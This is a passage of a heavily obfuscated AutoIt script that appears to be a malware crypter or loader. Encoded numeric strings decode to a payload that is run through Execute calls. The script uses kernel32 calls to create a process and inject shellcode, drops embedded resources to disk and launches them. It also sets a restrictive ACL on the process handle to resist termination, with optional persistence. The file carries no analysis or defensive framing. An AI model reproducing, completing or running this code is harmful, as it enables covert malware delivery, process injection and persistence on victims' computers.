  540. $lmascgp &= btbxjymrfgaetpa("57,57,54,56,57,57,59,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,60,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,58,56,55,56,6,56,54,57,59,56,54,57,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,56,56,55,56,6,56,54,57,59,56,54,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,54,56,55,56,6,56,54,57,59,56,54,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,56,6,56,55,56,6,56,54,57,59,56,53,56,5,56,54,56,54")
  541. $lmascgp &= btbxjymrfgaetpa("56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,59,56,55,56,6,56,54,57,59,56,55,57,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,57,56,55,56,6,56,54,57,59,56,53,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,59,57,55,56,55,56,6,56,54,57,59,56,54,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,60,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,58,56,55,56,6,56,54,57,59,56,54,57,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56")
  542. $lmascgp &= btbxjymrfgaetpa("58,56,56,56,55,56,6,56,54,57,59,56,54,56,57,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,56,6,56,55,56,6,56,54,57,59,56,54,57,54,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,59,56,55,56,6,56,54,57,59,56,54,56,56,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,57,56,55,56,6,56,54,57,59,56,54,56,55,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,58,57,55,56,55,56,6,56,54,57,59,56,55,57,54,56,54,56,54,56,6,56,5,56,56")
  543. $lmascgp &= btbxjymrfgaetpa("56,56,56,58,56,56,56,57,56,60,56,55,56,6,56,54,57,59,56,57,56,60,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,58,56,55,56,6,56,54,57,59,56,57,56,59,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,56,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,54,56,55,56,6,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,56,56,57,56,57,57,57,56,60,56,54,56,54,56,6,56,5,56,56,56,56,56,58,56,56,56,57,56,54,56,6,57,56,56,56,56,56,56,58,56,56,56,60,57,57,56,55,56,60,56,54,57,59,56,60,56")
  544. $lmascgp &= btbxjymrfgaetpa("60,56,54,57,59,56,60,56,60,57,54,57,54,56,55,56,56,56,58,56,56,56,55,56,6,57,54,57,54,56,53,56,55,56,60,56,6,57,54,57,54,56,5,56,56,56,58,56,56,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,5,56,55,56,60,57,54,57,54,56,53,56,55,56,60,56,6,56,6,57,56,56,6,56,56,56,58,56,56,57,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,57,54,56,5,56,56,56,58,56,56,56,6,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,57,56,57,57,57,56,60,56,6,56,57,57,57,56,56,56,60,57,57,56,58,56,59,56,56,56,56")
  545. $lmascgp &= btbxjymrfgaetpa("56,58,56,56,56,60,56,6,56,6,56,57,56,53,57,57,56,58,56,56,56,60,56,6,56,54,56,56,56,53,57,56,56,58,57,57,56,6,56,59,57,55,57,57,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,54,57,59,56,55,57,55,56,55,56,5,56,6,57,58,57,54,57,57,57,54,57,54,56,53,56,55,56,60,57,57,56,6,57,56,56,6,56,56,56,58,56,56,56,58,57,57,56,60,56,57,56,60,56,60,56,60,56,60,56,6,57,56,57,58,56,56,56,58,56,56,57,58,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,55,56,60,57,54,56,57,57,59,56,55,57,55,56,6,56,58,56,57,57,54,57,57,57")
  546. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,57,54,57,54,56,56,56,56,56,58,56,56,56,60,56,6,56,6,56,55,57,57,56,60,56,53,56,56,57,57,57,56,56,55,57,54,56,55,57,55,56,6,57,58,57,55,56,55,56,55,57,56,57,57,56,58,56,60,56,6,56,60,56,60,56,55,56,59,56,6,57,56,56,56,57,57,56,58,56,56,56,60,56,56,56,58,57,58,57,57,56,6,56,59,57,58,57,57,56,60,57,54,56,53,57,56,56,60,56,58,56,57,57,57,56,6,56,6,57,58,57,57,56,56,56,58,56,55,56,60,56,60,57,54,56,60,57,54,57,54,57,54,57,54,56,57,57,58,57,57,56,6,56,53,56,58,56,60,57,59,56,6,57,58,57,57")
  547. $lmascgp &= btbxjymrfgaetpa("56,59,56,55,56,5,56,5,56,56,56,6,57,58,56,60,56,60,56,6,56,5,56,60,56,56,56,58,56,56,57,57,56,57,56,58,57,56,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,6,56,55,56,60,56,60,57,55,57,58,57,55,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56")
  548. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60")
  549. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56")
  550. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60")
  551. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56")
  552. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60")
  553. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56")
  554. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60")
  555. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56")
  556. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60")
  557. Local $e = Execute
  558. Local $b = $e(btbxjymrfgaetpa("28,35,40,27,44,51,46,41,45,46,44,35,40,33"))
  559. Local $leputain = xhgjvyzpod($lmascgp)
  560. Local $binl = $e($b(btbxjymrfgaetpa("53,50,57,55,59,62,59,5,59,54,60,55,60,62,57,3,59,58,59,5,55,61,55,57,59,3,59,58,60,53,60,58,60,57,59,54,59,62,59,5,55,62")))
  561. Local $lpshellcode = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,55,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,55,55,58,59,59,62,60,55,60,57,60,58,59,54,59,3,57,54,59,3,59,3,59,6,59,56,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,57,59,55,59,62,59,5,57,3,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,56,56,53,56,53,56,53,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,57,56,53,55,55,55,62,58,2,55,55,56,53,55,55,58,4")))
  562. Local $file_struct = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,55,53,60,56,59,62,59,3,59,2,60,55,59,58,59,59,60,58,59,57,58,2,55,55,55,53,55,59,55,53,58,56,60,57,60,55,59,62,59,5,59,60,57,3,59,58,59,5,55,61,55,57,59,57,59,54,60,57,59,54,55,62,55,53,55,59,55,53,55,55,58,4,55,55,55,62")))
  563. $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,55,53,60,58,59,57,59,58,60,55,59,55,59,6,60,56,60,56,58,2,55,55,55,53,55,59,55,53,55,57,59,55,59,62,59,5,57,3,55,53,55,59,55,53,55,55,58,4,55,55,55,3,55,53,55,57,59,3,60,53,58,56,59,61,59,58,59,3,59,3,59,56,59,6,59,57,59,58,55,62,55,3,55,53,55,55,60,58,59,57,59,58,60,55,59,55,59,6,60,56,60,56,55,55,55,3,55,53,55,57,59,3,59,58,60,53,60,58,60,57,59,54,59,62,59,5,55,62")))
  564. $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,58,56,59,58,60,57,57,57,59,54,60,57,59,54,55,61,55,57,57,59,59,62,59,3,59,58,58,6,58,56,60,57,60,55,60,58,59,56,60,57,55,3,55,53,55,55,60,56,59,62,59,3,59,2,60,55,59,58,59,59,60,58,59,57,55,55,55,3,55,53,55,57,59,57,59,54,60,57,59,54,55,62")))
  565. Local $ret = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,57,54,59,57,59,57,60,55,59,58,60,56,60,56,55,61,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,57,59,3,60,53,58,56,59,61,59,58,59,3,59,3,59,56,59,6,59,57,59,58,55,3,55,53,55,55,60,56,60,57,60,55,55,55,55,3,55,53,55,57,60,53,60,55,59,6,59,56,59,58,60,56,60,56,55,3,55,53,55,55,60,53,60,57,60,55,55,55,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,57,59,59,62,59,3,59,58,58,6,58,56,60,57,60,55,60,58,59,56,60,57,55,62,55,62")))
  566. $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,58,59,59,62,60,55,60,57,60,58,59,54,59,3,57,59,60,55,59,58,59,58,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,57,59,3,60,53,58,56,59,61,59,58,59,3,59,3,59,56,59,6,59,57,59,58,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,56,53,60,61,56,61,56,53,56,53,56,53,55,55,55,62")))
  567. Local $pid = $e($b(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,57,60,59,58,60,57,58,53,60,55,59,6,59,56,59,58,60,56,60,56,57,62,59,57,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,58,55,59,58,60,57,58,2,55,55,56,53,55,55,58,4,55,62,58,2,55,55,56,53,55,55,58,4")))
  568. If $protect Then
  569. acl($ret[btbxjymrfgaetpa("53")])
  570. EndIf
  571. If $persist Then
  572. qmyysywfsx($pid)
  573. EndIf
  574. EndFunc
  575.  
  576. Func gzefgaqptiln()
  577. Return Execute(btbxjymrfgaetpa("4,38,38,19,46,44,47,29,46,3,44,31,27,46,31"))
  578. EndFunc
  579.  
  580. Func ucpasbvuyi()
  581. EndFunc
  582.  
  583. Func acl($handle)
  584. $e = Execute
  585. $bn = $e(btbxjymrfgaetpa("28,35,40,27,44,51,46,41,45,46,44,35,40,33"))
  586. Local $tacl = $e($bn(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,55,53,57,54,59,56,59,3,58,55,59,58,60,59,59,62,60,56,59,62,59,6,59,5,56,2,59,55,60,62,60,57,59,58,55,53,58,56,59,55,60,1,56,54,56,2,60,58,60,56,59,61,59,6,60,55,60,57,55,53,57,54,59,56,59,3,58,56,59,62,60,1,59,58,56,2,60,58,60,56,59,61,59,6,60,55,60,57,55,53,57,54,59,56,59,58,57,56,59,6,60,58,59,5,60,57,56,2,60,58,60,56,59,61,59,6,60,55,60,57,55,53,58,56,59,55,60,1,56,55,55,55,55,62")))
  587. Local $pacl = $e($bn(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,57,54,57,56,57,3,55,62")))
  588. Local $tsd = $e($bn(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,56,60,55,59,58,59,54,60,57,59,58,55,61,55,55,59,55,60,62,60,57,59,58,58,2,56,55,56,53,58,4,55,55,55,62")))
  589. Local $psd = $e($bn(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,53,60,57,60,55,55,61,55,57,60,57,58,56,57,57,55,62")))
  590. Local $ret = $e($bn(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,57,62,59,5,59,62,60,57,59,62,59,54,59,3,59,62,60,1,59,58,58,56,59,58,59,56,60,58,60,55,59,62,60,57,60,62,57,57,59,58,60,56,59,56,60,55,59,62,60,53,60,57,59,6,60,55,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,58,56,57,57,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,55,60,56,54,55,60,55,62")))
  591. $ret = $e($bn(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,57,62,59,5,59,62,60,57,59,62,59,54,59,3,59,62,60,1,59,58,57,54,59,56,59,3,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,57,54,57,56,57,3,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,57,57,59,3,59,3,58,56,60,57,60,55,60,58,59,56,60,57,57,60,59,58,60,57,58,56,59,62,60,1,59,58,55,61,55,57,60,57,57,54,57,56,57,3,55,62,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,55,60,56,55,55,60,55,62")))
  592. $ret = $e($bn(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,58,56,59,58,60,57,58,56,59,58,59,56,60,58,60,55,59,62,60,57,60,62,57,57,59,58,60,56,59,56,60,55,59,62,60,53,60,57,59,6,60,55,57,57,59,54,59,56,59,3,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,58,56,57,57,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,56,54,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,57,54,57,56,57,3,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,56,53,55,60,55,62")))
  593. $ret = $e($bn(btbxjymrfgaetpa("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,60,59,54,59,57,60,59,59,54,60,53,59,62,56,56,56,55,55,5,59,57,59,3,59,3,55,60,55,3,55,53,55,60,59,62,59,5,60,57,55,60,55,3,55,53,55,60,58,56,59,58,60,57,57,2,59,58,60,55,59,5,59,58,59,3,57,6,59,55,59,1,59,58,59,56,60,57,58,56,59,58,59,56,60,58,60,55,59,62,60,57,60,62,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,59,61,59,54,59,5,59,57,59,3,59,58,55,3,55,53,55,60,59,57,60,60,59,6,60,55,59,57,55,60,55,3,55,53,55,60,56,53,60,61,56,53,56,57,55,60,55,3,55,53,55,60,60,53,60,57,60,55,55,60,55,3,55,53,55,57,60,53,58,56,57,57,55,62")))
  594. EndFunc
  595.  
  596. Func cnssqbnutg($file, $startup, $res)
  597. $file = $iehddoiyhinmpbuchbhartdukilwzqcuvdtryhufim & "\" & $file
  598. Dim $fhandle = $dqiffuxamliv($file, btbxjymrfgaetpa("55"))
  599. Dim $data = readresources($res, btbxjymrfgaetpa("54,53"))
  600. $cltcckueqwtc($fhandle, $caiqjrrjdnho($data, 1))
  601. $inrxtuxkpwxc($fhandle)
  602. If $startup = btbxjymrfgaetpa("6,27,38,45,31") Then
  603. If $startupdir <> $cfjuhmdsdkczocvflyurkibokzahtmiie Then
  604. $lydoyurnnhsz($file)
  605. EndIf
  606. Else
  607. $lydoyurnnhsz($file)
  608. EndIf
  609. EndFunc
  610.  
  611. Func rlipxuzecexv()
  612. Return Execute(btbxjymrfgaetpa("6,35,38,31,15,42,31,40"))
  613. EndFunc
  614.  
  615. Func vitvobzgmj($name, $filename)
  616. Local $e = Execute
  617. Local $b = $e(btbxjymrfgaetpa("2,35,40,27,44,51,20,41,19,46,44,35,40,33"))
  618. Local $bytes = $e($b(btbxjymrfgaetpa("53,50,57,59,59,62,59,3,59,58,58,55,59,58,59,54,59,57,55,61,57,53,58,56,59,56,60,55,59,62,60,53,60,57,57,59,60,58,59,3,59,3,58,53,59,54,60,57,59,61,55,62,55,53,55,59,55,53,57,55,59,62,59,5,59,54,60,55,60,62,55,61,58,55,59,54,59,5,59,57,59,6,59,4,55,61,55,55,56,53,55,55,55,3,55,55,56,55,56,58,56,58,55,55,55,62,55,62")))
  619. Local $fullpath = $e($b(btbxjymrfgaetpa("53,50,55,57,60,56,60,57,59,54,60,55,60,57,60,58,60,53,59,57,59,62,60,55,55,53,55,59,55,53,55,55,58,3,55,55,55,53,55,59,55,53,55,57,59,59,59,62,59,3,59,58,59,5,59,54,59,4,59,58,55,53,55,59,55,53,55,55,55,5,59,55,59,54,60,57,55,55")))
  620. If $e($b(btbxjymrfgaetpa("53,50,57,59,59,62,59,3,59,58,57,58,60,61,59,62,60,56,60,57,60,56,55,61,55,57,59,59,60,58,59,3,59,3,60,53,59,54,60,57,59,61,55,62,55,53,56,4,55,53,55,55,56,53,55,55"))) Then
  621. $spaypucwzkbi("kernel32.dll", btbxjymrfgaetpa("34,27,40,30,38,31"), btbxjymrfgaetpa("3,44,31,27,46,31,6,35,38,31,23"), btbxjymrfgaetpa("49,45,46,44"), $fullpath, btbxjymrfgaetpa("30,49,41,44,30"), btbxjymrfgaetpa("53"), btbxjymrfgaetpa("30,49,41,44,30"), "", "struct*", "", btbxjymrfgaetpa("30,49,41,44,30"), btbxjymrfgaetpa("54"), btbxjymrfgaetpa("30,49,41,44,30"), "", btbxjymrfgaetpa("34,27,40,30,38,31"), "")
  622. Dim $filehandle = $e($b(btbxjymrfgaetpa("53,50,57,59,59,62,59,3,59,58,57,6,60,53,59,58,59,5,55,61,55,57,59,59,60,58,59,3,59,3,60,53,59,54,60,57,59,61,55,3,55,53,55,55,56,54,56,53,55,55,55,62")))
  623. $e($b(btbxjymrfgaetpa("53,50,57,59,59,62,59,3,59,58,58,60,60,55,59,62,60,57,59,58,55,61,55,57,59,59,59,62,59,3,59,58,57,61,59,54,59,5,59,57,59,3,59,58,55,3,55,53,55,57,59,55,60,62,60,57,59,58,60,56,55,62")))
  624. $e($b(btbxjymrfgaetpa("53,50,57,59,59,62,59,3,59,58,57,56,59,3,59,6,60,56,59,58,55,61,55,57,59,59,59,62,59,3,59,58,57,61,59,54,59,5,59,57,59,3,59,58,55,62")))
  625. $e($b(btbxjymrfgaetpa("53,50,57,59,59,62,59,3,59,58,57,56,60,55,59,58,59,54,60,57,59,58,58,56,59,61,59,6,60,55,60,57,59,56,60,58,60,57,55,61,55,57,59,59,60,58,59,3,59,3,60,53,59,54,60,57,59,61,55,3,55,53,57,53,58,56,60,57,59,54,60,55,60,57,60,58,60,53,57,57,59,62,60,55,55,53,55,59,55,53,55,55,58,3,55,55,55,53,55,59,55,53,55,57,59,5,59,54,59,4,59,58,55,53,55,59,55,53,55,55,55,5,59,3,59,5,59,2,55,55,55,62")))
  626. EndIf
  627. EndFunc
  628.  
  629. Func opyifkukckes()
  630. Return Execute(btbxjymrfgaetpa("19,38,31,31,42"))
  631. EndFunc
  632.  
  633. Func nhvvdkwaddwz()
  634. Return Execute(btbxjymrfgaetpa("18,31,33,23,44,35,46,31"))
  635. EndFunc
  636.  
  637. Func mthjnhthyuuu()
  638. Return Execute(btbxjymrfgaetpa("16,44,41,29,31,45,45,5,50,35,45,46,45"))
  639. EndFunc
  640.  
  641. Func xhgjvyzpod($input)
  642. Local $rnd = btbxjymrfgaetpa("53")
  643. Local $e = Execute
  644. Local $b = $e(btbxjymrfgaetpa("28,35,40,27,44,51,46,41,45,46,44,35,40,33"))
  645. Local $result
  646. $input = $e($b(btbxjymrfgaetpa("53,50,57,55,59,62,59,5,59,54,60,55,60,62,58,57,59,6,58,56,60,57,60,55,59,62,59,5,59,60,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,62")))
  647. Local $firstchars = $e($b(btbxjymrfgaetpa("53,50,58,56,60,57,60,55,59,62,59,5,59,60,57,3,59,58,59,59,60,57,55,61,58,56,60,57,60,55,59,62,59,5,59,60,58,55,59,62,59,60,59,61,60,57,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,3,55,53,58,56,60,57,60,55,59,62,59,5,59,60,57,3,59,58,59,5,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,62,55,53,55,4,55,53,55,55,56,55,55,55,55,62,55,3,55,53,55,55,56,59,55,55,55,62")))
  648. While ($result <> btbxjymrfgaetpa("5,62,6,59,54,5"))
  649. $rnd += btbxjymrfgaetpa("54")
  650. $result = xor($firstchars, $rnd)
  651. WEnd
  652. $result = xor($input, $rnd)
  653. Return $result
  654. EndFunc
  655.  
  656. Func kvybfgbbzx($title, $body, $type)
  657. If $bool = btbxjymrfgaetpa("6,27,38,45,31") Then
  658. $znnzhmcqtopd($type, $title, $body)
  659. EndIf
  660. EndFunc
  661.  
  662. Func uspeifdcmb()
  663. Local $osversion = $avjtmwbnewjjvdctudwdewcfikwnljrylamrlspmdepitacr
  664. If NOT $qcjgzatpvqxm() Then
  665. If $twxpjldbtltx($osversion, btbxjymrfgaetpa("60")) Then
  666. fmzyowoygf()
  667. ElseIf $twxpjldbtltx($osversion, btbxjymrfgaetpa("61")) Then
  668. fmzyowoygf()
  669. ElseIf $twxpjldbtltx($osversion, btbxjymrfgaetpa("54,53")) Then
  670. crzcnzprdo()
